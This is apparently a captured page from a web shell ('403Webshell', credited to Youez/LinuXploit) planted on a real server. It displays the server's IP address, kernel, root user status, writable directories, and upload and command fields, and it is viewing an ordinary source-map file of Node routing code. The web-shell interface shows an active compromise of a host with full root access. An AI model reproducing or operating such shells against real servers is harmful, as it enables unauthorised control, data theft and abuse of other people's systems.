403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.217.172
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/vinext/dist/server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/vinext/dist/server/app-page-method.js.map
{"version":3,"file":"app-page-method.js","names":[],"sources":["../../src/server/app-page-method.ts"],"sourcesContent":["import { isPossibleAppRouteActionRequest } from \"./app-route-handler-policy.js\";\nimport { mergeMiddlewareResponseHeaders } from \"./middleware-response-headers.js\";\nimport { methodNotAllowedResponse } from \"./http-error-responses.js\";\n\ntype AppPageMethodPolicyOptions = {\n  dynamicConfig?: string;\n  hasGenerateStaticParams: boolean;\n  isDynamicRoute: boolean;\n  revalidateSeconds: number | null;\n};\n\ntype ResolveAppPageMethodResponseOptions = {\n  middlewareHeaders?: Headers | null;\n  request: Pick<Request, \"headers\" | \"method\">;\n} & AppPageMethodPolicyOptions;\n\nfunction isNonGetOrHead(method: string): boolean {\n  const normalizedMethod = method.toUpperCase();\n  return normalizedMethod !== \"GET\" && normalizedMethod !== \"HEAD\";\n}\n\nexport function isStaticOrSsgAppPageCandidate(options: AppPageMethodPolicyOptions): boolean {\n  if (options.dynamicConfig === \"force-dynamic\" || options.revalidateSeconds === 0) {\n    return false;\n  }\n\n  if (options.dynamicConfig === \"force-static\" || options.dynamicConfig === \"error\") {\n    return true;\n  }\n\n  if (options.revalidateSeconds !== null && options.revalidateSeconds > 0) {\n    return true;\n  }\n\n  if (options.hasGenerateStaticParams) {\n    return true;\n  }\n\n  return !options.isDynamicRoute;\n}\n\nexport function resolveAppPageMethodResponse(\n  options: ResolveAppPageMethodResponseOptions,\n): Response | null {\n  if (!isNonGetOrHead(options.request.method)) {\n    return null;\n  }\n\n  if (isPossibleAppRouteActionRequest(options.request)) {\n    return null;\n  }\n\n  if (!isStaticOrSsgAppPageCandidate(options)) {\n    return null;\n  }\n\n  const headers = new Headers();\n  mergeMiddlewareResponseHeaders(headers, options.middlewareHeaders ?? null);\n\n  return methodNotAllowedResponse(\"GET, HEAD\", { headers });\n}\n"],"mappings":";;;;AAgBA,SAAS,eAAe,QAAyB;CAC/C,MAAM,mBAAmB,OAAO,aAAa;CAC7C,OAAO,qBAAqB,SAAS,qBAAqB;;AAG5D,SAAgB,8BAA8B,SAA8C;CAC1F,IAAI,QAAQ,kBAAkB,mBAAmB,QAAQ,sBAAsB,GAC7E,OAAO;CAGT,IAAI,QAAQ,kBAAkB,kBAAkB,QAAQ,kBAAkB,SACxE,OAAO;CAGT,IAAI,QAAQ,sBAAsB,QAAQ,QAAQ,oBAAoB,GACpE,OAAO;CAGT,IAAI,QAAQ,yBACV,OAAO;CAGT,OAAO,CAAC,QAAQ;;AAGlB,SAAgB,6BACd,SACiB;CACjB,IAAI,CAAC,eAAe,QAAQ,QAAQ,OAAO,EACzC,OAAO;CAGT,IAAI,gCAAgC,QAAQ,QAAQ,EAClD,OAAO;CAGT,IAAI,CAAC,8BAA8B,QAAQ,EACzC,OAAO;CAGT,MAAM,UAAU,IAAI,SAAS;CAC7B,+BAA+B,SAAS,QAAQ,qBAAqB,KAAK;CAE1E,OAAO,yBAAyB,aAAa,EAAE,SAAS,CAAC"}

Youez - 2016 - github.com/yon3zu
LinuXploit